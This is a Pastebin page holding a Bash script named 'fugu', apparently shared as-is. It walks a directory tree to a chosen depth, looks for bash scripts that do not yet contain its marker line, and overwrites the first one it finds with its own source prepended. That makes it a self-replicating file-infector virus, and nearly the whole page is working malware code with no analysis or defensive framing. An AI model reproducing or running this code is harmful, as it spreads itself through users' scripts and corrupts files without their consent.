Advertisement
Nunchy

fugu

Feb 17th, 2016
4,774
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 6.38 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. PID=$$
  4.  
  5. # Set at the command line with the -rd=<path> option, will default to the
  6. # current working directory if unspecified.
  7. ROOT_DIR=
  8.  
  9. # ROOT_PWD stores the root directory where this script lies and is assigned
  10. # the output of a `pwd` when the script first runs.
  11. #
  12. # ROOT_SCR stores the name of this script - we could use $0 to get the
  13. # script name, but we'd have to parse that to get rid of ./path/to/script
  14. # to get the actual name - you can set ROOT_SCR at the command line with
  15. # the -rs option.
  16. #
  17. ROOT_PWD=`pwd`
  18. ROOT_SCR="fugu"
  19.  
  20. ROOT_SHB="#!/bin/bash"
  21.  
  22. # The script begins in the ROOT_DIR directory and will search sub-directories
  23. # to a certain level.
  24. #
  25. # ROOT_DIR is, by default, level 0. A sub-directory in ROOT_DIR would be
  26. # level 1, if it contains a sub that'd be level 2, and so on.
  27. #
  28. # We can limit the depth by setting ROOT_LVL - by default the value is
  29. # 0 (no limit). It can be set to any value >= 0 at the command line with
  30. # the -rl=<value> option.
  31. ROOT_LVL=0
  32.  
  33. # If find_file() finds a suitable file to infect it will store the
  34. # name of the file here - otherwise this will be left unset.
  35. FUGU_SCR=
  36.  
  37. # Does what you'd expect - processes command line arguments.
  38. function sort_args()
  39. {
  40. for arg in "$@"
  41. do
  42.     OPT=
  43.     PAR=
  44.     # Arguments at the command line are input in a specific format:
  45.     #
  46.     #   -option=parameter
  47.     #
  48.     # These two lines separate these fields by first breaking the
  49.     # -option=value at the =, turning it instead into a space. Each
  50.     # field is then extracted using awk...
  51.     OPT=`echo ${arg} | sed 's/=/ /g' | awk '{print $1}'`
  52.     PAR=`echo ${arg} | sed 's/=/ /g' | awk '{print $2}'`
  53.  
  54.     #echo "OPT = ${OPT}"
  55.     #echo "PAR = ${PAR}"
  56.  
  57.     # Options...
  58.     if [ "${OPT}" = "-rd" ]; then
  59.         if [ -z "${PAR}" ]; then
  60.             echo "Error: The -rd option requires a parameter!"
  61.             exit 1
  62.         fi
  63.         ROOT_DIR=${PAR}
  64.     elif [ "${OPT}" = "-rs" ]; then
  65.         if [ -z "${PAR}" ]; then
  66.             echo "Error: The -rs option requires a parameter!"
  67.             exit 1
  68.         fi
  69.         ROOT_SCR=${PAR}
  70.     elif [ "${OPT}" = "-rl" ]; then
  71.         if [ -z "${PAR}" ]; then
  72.             echo "Error: The -rl option requires a parameter!"
  73.             exit 1
  74.         fi
  75.         ROOT_LVL=${PAR}
  76.     else
  77.         echo "Error: ${arg} - unknown option!"
  78.         exit 1
  79.     fi
  80. done
  81. }
  82.  
  83. function find_file()
  84. {
  85.     local   DEPTH_LVL=0
  86.  
  87.     if [ -z ${1} ]; then
  88.         DEPTH_LVL=0
  89.     else
  90.         if [ ${ROOT_LVL} -gt 0 ]; then
  91.             if [ ${1} -ge ${ROOT_LVL} ]; then
  92.                 return 1
  93.             fi
  94.         fi
  95.         DEPTH_LVL=${1}
  96.     fi
  97.  
  98.     echo -en "pwd = `pwd`, DEPTH_LVL = ${DEPTH_LVL}\n\n"
  99.  
  100.     # Get a list of everything in the current directory, including
  101.     # and hidden files...
  102.     local LISTALL=`ls -a`
  103.     # ...count the entries in the list.
  104.     local LISTCT=`echo -e "${LISTALL}" | wc -l`
  105.  
  106.     # Iterate through each entry in the LISTALL list...
  107.     local LINE=1
  108.  
  109.     local   ENTRY=
  110.  
  111.     while [ ${LINE} -le $((LISTCT + 1)) ];
  112.     do
  113.         unset ENTRY
  114.  
  115.         # Get the first/next entry from the list.
  116.         ENTRY=`echo -e "${LISTALL}" | head -n ${LINE} | tail -n1`
  117.         LINE=$((LINE + 1))
  118.  
  119.         echo -e "Checking entry ${ENTRY}"
  120.  
  121.         if [ -z "${ENTRY}" ] || [ "${ENTRY}" = "" ]; then
  122.             break
  123.         fi
  124.  
  125.         # Skip those . and .. directories!
  126.         if [ "${ENTRY}" = "." ] || [ "${ENTRY}" = ".." ]; then
  127.             echo "Skipping ${ENTRY}"
  128.             continue 1
  129.         fi
  130.  
  131.         # If we've found a directory we cd there and begin
  132.         # a new search.
  133.         if [ -d "${ENTRY}" ]; then
  134.             cd ${ENTRY}
  135.             echo
  136.             find_file "$((DEPTH_LVL + 1))"
  137.             #PID=$!
  138.             #wait $PID
  139.             local RES=$?
  140.             cd ..
  141.             echo -e "Returned ${RES}\n"
  142.  
  143.             # If find_file() returned 0 we found a file to
  144.             # infect - keep returning 0.
  145.             #if [ ! -z $? ]; then
  146.                 if [ ${RES} -eq 0 ]; then
  147.                     echo -e "Returning 0 @depth ${DEPTH_LVL}\n"
  148.                     echo "FUGU_SCR = ${FUGU_SCR}"
  149.                     return 0
  150.                 fi
  151.             #fi
  152.             continue 1
  153.         fi
  154.  
  155.         # Not a directory - look for a file, regular or
  156.         # executable...
  157.         if [ -f "${ENTRY}" ] || [ -x "${ENTRY}" ]; then
  158.             # First line should match the shebang
  159.             # (ROOT_SHB)
  160.             FIRSTLINE=`cat ${ENTRY} | head -n 1`
  161.             echo -e "Line 1 of ${ENTRY} = ${FIRSTLINE}\n"
  162.             if [ "${FIRSTLINE}" = "${ROOT_SHB}" ]; then
  163.                 echo "Found match: ${ENTRY}"
  164.                 # We need to identify a unique line in
  165.                 # this code that we can use to identify
  166.                 # already infected files...
  167.                 #
  168.                 # That ROOT_SHB="#!/bin/bash" line should
  169.                 # be enough.
  170.                 #
  171.                 # First, build an absolute path to the file.
  172.                 FUGU_SCR="`pwd`/${ENTRY}"
  173.                 FUGU_RES=
  174.                 FUGU_RES=`cat ${FUGU_SCR} | grep "ROOT_SHB=\"#!/bin/bash\"" | head -n 1`
  175.                 echo "FUGU_RES = ${FUGU_RES}"
  176.                 if [ ! -z ${FUGU_RES} ]; then
  177.                     echo -e "${FUGU_RES}\n\n${FUGU_SCR} infected!"
  178.                     FUGU_SCR=
  179.                 else
  180.                     echo -e "${FUGU_SCR} not infected!"
  181.                     return 0
  182.                 fi
  183.             fi
  184.         fi
  185.     done
  186.    
  187.     # Return 1 to indicate failure
  188.     echo -e "Returning 1 @depth: ${DEPTH_LVL}\n"
  189.     return 1
  190. }
  191.  
  192. function set_scr()
  193. {
  194.     # Need to extract the name of this script (might be an infected file and not
  195.     # the fugu script...)
  196.     if [ "${0:0:2}" = "./" ]; then
  197.         # Executed with ./ - needs to be removed...
  198.         SCR=${0:2}
  199.     else
  200.         SCR=${0}
  201.     fi
  202.  
  203.     # Might be a path string - isolate the script name
  204.     SCRNAME=`echo ${SCR} | sed 's/\// /g' | awk '{print $NF}'`
  205.     #echo "SCRNAME = ${SCRNAME}"
  206.     ROOT_SCR=${SCRNAME}
  207. }
  208.  
  209. # Process all command line arguments.
  210. sort_args $@
  211. PID=$!
  212. wait $PID
  213.  
  214. if [ "${ROOT_DIR}" = "" ]; then
  215.     # No root directory specified - begin in current working directory.
  216.     echo -en "No root dir!\n"
  217. else
  218.     # Root directory specified - begin there.
  219.     echo -en -en "Root dir: ${ROOT_DIR}\n"
  220.     cd ${ROOT_DIR}
  221. fi
  222.  
  223. echo "Root pwd: ${ROOT_SCR}"
  224. echo -en "Root level: ${1}\n\n"
  225.  
  226. # Find a file that can be infected.
  227. #
  228. # We will search ROOT_DIR, all files and sub-directories (ROOT_LVL
  229. # permitting) for the first file containing the shebang (#!/bin/bash)
  230. # that is not already infected...
  231. #
  232. # Set initial depth level to 0.
  233. find_file "0"
  234.  
  235. PID=$!
  236. wait $PID
  237.  
  238. if [ -z ${FUGU_SCR} ] || [ "${FUGU_SCR}" = "" ]; then
  239.     echo "Couldn't find a script to infect!"
  240.     exit 1
  241. fi
  242.  
  243. echo -en ">> find_file returned ${FUGU_SCR}\n\n"
  244.  
  245. # Count the lines in the target and source (this) script...
  246. LINES_DST=`cat ${FUGU_SCR} | wc -l`
  247. LINES_SRC=`cat "${ROOT_PWD}/${ROOT_SCR}" | wc -l`
  248.  
  249. echo "LINES_DST = ${LINES_DST}"
  250. echo "LINES_SRC = ${LINES_SRC}"
  251.  
  252. LINES_DST=$((LINES_DST - 1))
  253.  
  254. FUGU_OUT=`cat "${ROOT_PWD}/${ROOT_SCR}"`
  255. TRGT_OUT=`cat "${FUGU_SCR}" | tail -n${LINES_DST}`
  256.  
  257. echo -e "${FUGU_OUT}\n\n${TRGT_OUT}\n" > "${FUGU_SCR}"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement